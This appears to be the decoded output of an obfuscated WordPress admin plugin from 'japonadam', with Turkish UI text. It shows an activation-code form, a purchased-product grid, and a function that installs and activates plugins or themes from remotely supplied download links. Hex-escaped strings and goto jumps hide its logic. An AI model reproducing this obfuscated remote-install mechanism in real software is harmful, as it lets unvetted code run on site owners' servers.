$isActivated ? "\x23\142\x63\62\66\x32\x36" : "\x23\x31\143\x62\143\146\146"; $tab = "\160\165\162\x63\150\141\x73\x65\144"; $purchased_product_ids = $this->fetch_purchased_products(); if (!is_array($purchased_product_ids)) { $purchased_product_ids = array(); } $filtered_products = array_filter($all_products, function ($product) use($purchased_product_ids) { return in_array($product["\163\153\x75"], array_keys($purchased_product_ids)); }); $products = $filtered_products; $satin_alinan_site = $this->get_purchase_site($aktivasyon_kodu); $satin_alinan_site_destek = $satin_alinan_site . "\x2f\144\x65\x73\164\x65\153\57"; $products = array_map(function ($product) use($satin_alinan_site) { $product["\160\145\x72\x6d\141\154\x69\156\153"] = str_replace("\x68\x74\164\160\163\x3a\x2f\57\152\141\x70\x6f\156\141\144\x61\x6d\x2e\143\157\155", $satin_alinan_site, $product["\160\145\162\x6d\141\x6c\x69\x6e\153"]); return $product; }, $products); ?>
<!-- Ana konteyner -->
<div class="jp-tut rounded-2xl m-12" style="background-color: #262626;">
<!-- st navigasyon blm -->
<div class="jp-nav flex justify-between items-center p-6 rounded-t-2xl" style="background:#1b1b1b;">
<!-- Logo blm -->
<div class="jp-logo w-12 h-12">
<img src="https://japonadam.com/wp-content/uploads/2023/10/japonadam-logo.png" style="border: 0;">
</div>
<!-- rn kategorileri mens -->
<div class="jp-tab-menu flex items-center text-white text-lg">
<ul class="flex gap-5 list-none p-0 m-0 items-center">
<li class="py-2 px-4 rounded cursor-pointer transition-colors duration-300">
<a href="?page=japon-adam&tab=purchased" class="hover:text-blue-100">Satn Aldklarm</a>
</li>
<div class="h-5 border-r-2 border-gray-600 mx-2"></div>
<li class="py-2 px-4 rounded cursor-pointer transition-colors duration-300">
<a class="hover:text-blue-100" onclick="window.open('<?php echo esc_url($satin_alinan_site . "\57\155\141\147\x61\x7a\x61\57"); ?>
', '_blank')" >Tm rnler</a>
</li>
</ul>
</div>
<!-- Aktivasyon kodu giri formu -->
<div class="jp-aktivasyon flex items-center ">
<form class="flex gap-2 w-full" method="post">
<input type="text" id="aktivasyonInput" name="aktivasyon_kodu" value="<?php echo esc_attr($inputValue); ?>
" placeholder="Aktivasyon kodunuz" class="py-2 px-3 border-0 rounded text-sm flex-grow" <?php echo $isActivated ? "\x72\145\x61\x64\157\156\x6c\171" : ''; ?>
>
<input type="hidden" name="remove_activation" value="<?php echo $isActivated ? "\x31" : "\x30"; ?>
">
<input type="submit" id="aktivasyonButton" value="<?php echo esc_attr($buttonValue); ?>
" style="background-color: <?php echo esc_attr($buttonColor); ?>
;" class="py-2 px-4 border-0 text-sm text-white cursor-pointer rounded">
</form>
</div>
</div>
<!-- rn listesi blm -->
<div class="jp-content p-12">
<div class="jpn-product grid grid-cols-4 gap-5">
<?php if (!$isActivated) { ?>
<div class="col-span-4 text-left text-white" style="background-color: #1b1b1b; border-radius: 10px; padding: 20px;">
<strong>rnleri grmek iin sa st keden aktivasyon anahatarnz giriniz.</strong>
</div>
<?php } else { ?>
<?php foreach ($products as $product) { ?>
<!-- rn kart -->
<div class="product flex flex-col justify-between border p-5 rounded-lg" style="border-color: #4d4d4d; background-color: #333333; border-radius: 10px;" data-productid="<?php echo esc_attr($product["\163\153\x75"]); ?>
" data-purchased="<?php echo in_array($product["\163\x6b\x75"], array_keys($purchased_product_ids)) ? "\164\x72\x75\145" : "\146\x61\154\x73\x65"; ?>
">
<!-- rn detaylar -->
<div class="product-info flex-grow">
<img src="<?php echo esc_url($product["\164\x68\x75\155\x62\x6e\x61\151\154"]); ?>
" alt="<?php echo esc_attr($product["\164\x69\164\x6c\x65"]); ?>
" style="border-color: #404040;" class="w-full rounded-lg">
<div class="flex justify-between text-sm text-gray-400 mt-2 mb-1">
<p> <?php echo esc_html($product["\151\x6e\x64\x69\x72\155\145\137\x73\141\x79\x61\x63\151"]); ?>
<p># <?php echo esc_html($product["\x76\x65\162\151\137\164\x69\160\x69"]); ?>
</p>
</div>
<h3 class="text-white text-xl mb-1"><?php echo esc_html($product["\x74\151\x74\x6c\x65"]); ?>
</h3>
<p class="text-gray-400 text-md mb-4"><?php echo esc_html($product["\x73\150\157\x72\x74\137\144\145\163\x63\162\151\160\x74\151\x6f\156"]); ?>
</p>
</div>
<!-- rn ilem butonlar -->
<div>
<?php if ($this->check_activation_status(get_site_url(), $product["\x73\153\x75"], $aktivasyon_kodu) == "\x74\x72\x75\x65") { ?>
<button id="installplugin" class="bg-green-600 text-white border-0 rounded-lg py-2 text-md w-full" data-productid="<?php echo esc_attr($product["\x73\153\165"]); ?>
" onclick="checkAndInstallPlugin(this,'<?php echo esc_attr($aktivasyon_kodu); ?>
')" style="background-color: #008000;">Gncelle</button>
<?php } else { if (in_array($product["\163\x6b\x75"], array_keys($purchased_product_ids))) { ?>
<button id="installplugin" class="bg-red-600 text-white border-0 rounded-lg py-2 text-md w-full" data-productid="<?php echo esc_attr($product["\x73\153\165"]); ?>
" onclick="checkAndInstallPlugin(this,'<?php echo esc_attr($aktivasyon_kodu); ?>
')" style="background-color: #1CBCFF;">Kurulum Yap</button>
<?php } } ?>
</div>
</div>
<?php } ?>
<?php } ?>
</div>
<!-- Kurulum durumu popup bilgisi -->
<div id="loadingPopup" class="fixed inset-0 flex items-center justify-center z-999 bg-black bg-opacity-50 hidden">
<div class="bg-white p-5 rounded-lg">
<p class="text-center mb-3">Kurulum yaplyor...</p>
<div class="h-4 bg-gray-300 rounded-full">
<div id="progressBar" class="h-4 bg-purple-800 rounded-full" style="width: 0;"></div>
</div>
</div>
</div>
</div>
<!-- Sayfa alt bilgi blm -->
<div class="jp-footer flex justify-center items-center p-4 text-white">
<div class="jp-destek mr-4">
<a href="<?php echo esc_url($satin_alinan_site_destek); ?>
" target="_blank" >Destek</a>
</div>
<div class="jp-sitemiz">
<a href="<?php echo esc_url($satin_alinan_site); ?>
" target="_blank" >Sitemizi Ziyaret Edin</a>
</div>
</div>
</div>
<?php } } goto aapAQ; hirRE: function install_plugin_or_theme($download_links) { require_once ABSPATH . "\167\x70\55\141\144\x6d\151\x6e\x2f\151\156\143\x6c\165\144\x65\163\57\x66\x69\x6c\x65\x2e\x70\150\x70"; require_once ABSPATH . "\x77\x70\55\141\x64\x6d\x69\156\x2f\151\156\x63\x6c\x75\x64\x65\x73\x2f\160\154\x75\147\151\156\x2d\151\156\163\x74\141\x6c\154\x2e\160\x68\160"; require_once ABSPATH . "\x77\160\55\x61\144\x6d\151\156\x2f\151\x6e\x63\154\165\x64\x65\x73\57\143\x6c\141\163\x73\55\x77\x70\55\x75\160\147\162\141\x64\145\162\56\160\x68\160"; require_once ABSPATH . "\167\160\55\x61\144\x6d\151\x6e\57\151\156\143\154\x75\x64\145\163\x2f\160\x6c\165\x67\x69\156\x2e\x70\x68\x70"; require_once ABSPATH . "\167\x70\x2d\x61\144\x6d\151\156\x2f\x69\x6e\143\154\x75\x64\x65\x73\x2f\164\150\x65\155\x65\x2e\x70\150\160"; $links = explode("\54", $download_links); foreach ($links as $link) { $link = trim($link); if (strpos($link, "\164\150\x65\155\x65") !== false) { $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Theme_Upgrader($skin); $installed = $upgrader->install($link); if (!$installed || is_wp_error($installed)) { return array("\x73\165\x63\x63\145\163\163" => false, "\155\x65\163\163\x61\x67\145" => "\x54\x65\155\141\40\153\165\162\165\154\x61\x6d\x61\x64\304\261\72\40" . $skin->get_errors()->get_error_message()); } } else { $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader($skin); $installed = $upgrader->install($link); if (!$installed || is_wp_error($installed)) { return array("\163\x75\143\x63\145\x73\x73" => false, "\155\x65\x73\x73\x61\x67\145" => "\105\153\154\x65\x6e\164\x69\40\153\x75\162\x75\154\141\155\141\144\xc4\261\x3a\40" . $skin->get_errors()->get_error_message()); } $plugin_file = $upgrader->plugin_info(); $activate = activate_plugin($plugin_file); if (is_wp_error($activate)) { return array("\x73\165\x63\x63\x65\163\163" => false, "\155\145\x73\163\141\x67\x65" => "\x45\153\x6c\x65\x6e\x74\151\40\x6b\x75\162\165\154\x64\165\x20\x61\x6d\x61\40\141\153\164\151\x66\154\145\305\237\164\x69\x72\151\154\145\x6d\145\144\151\x3a\40" . $activate->get_error_message()); } } } return array("\163\165\143\x63\x65\163\163" => true, "\x6d\x65\163\x73\x61\x67\x65" => "\105\x6b\x6c\145\x6e\x74\x69\x2f\x74\x65\155\x61\40\x62\141\305\237\x61\162\304\xb1\171\x6c\x61\x20\x6b\x75\162\165\154\144\165\40\x76\145\40\141\153\164\x69\x66\x6c\x65\xc5\237\x74\151\x72\151\x6c\x64\x69\x21"); }
Function Calls
None |
Stats
MD5 | e5ab8a82f24c9a4f0dfd6e8f1af8a61d |
Eval Count | 0 |
Decode Time | 53 ms |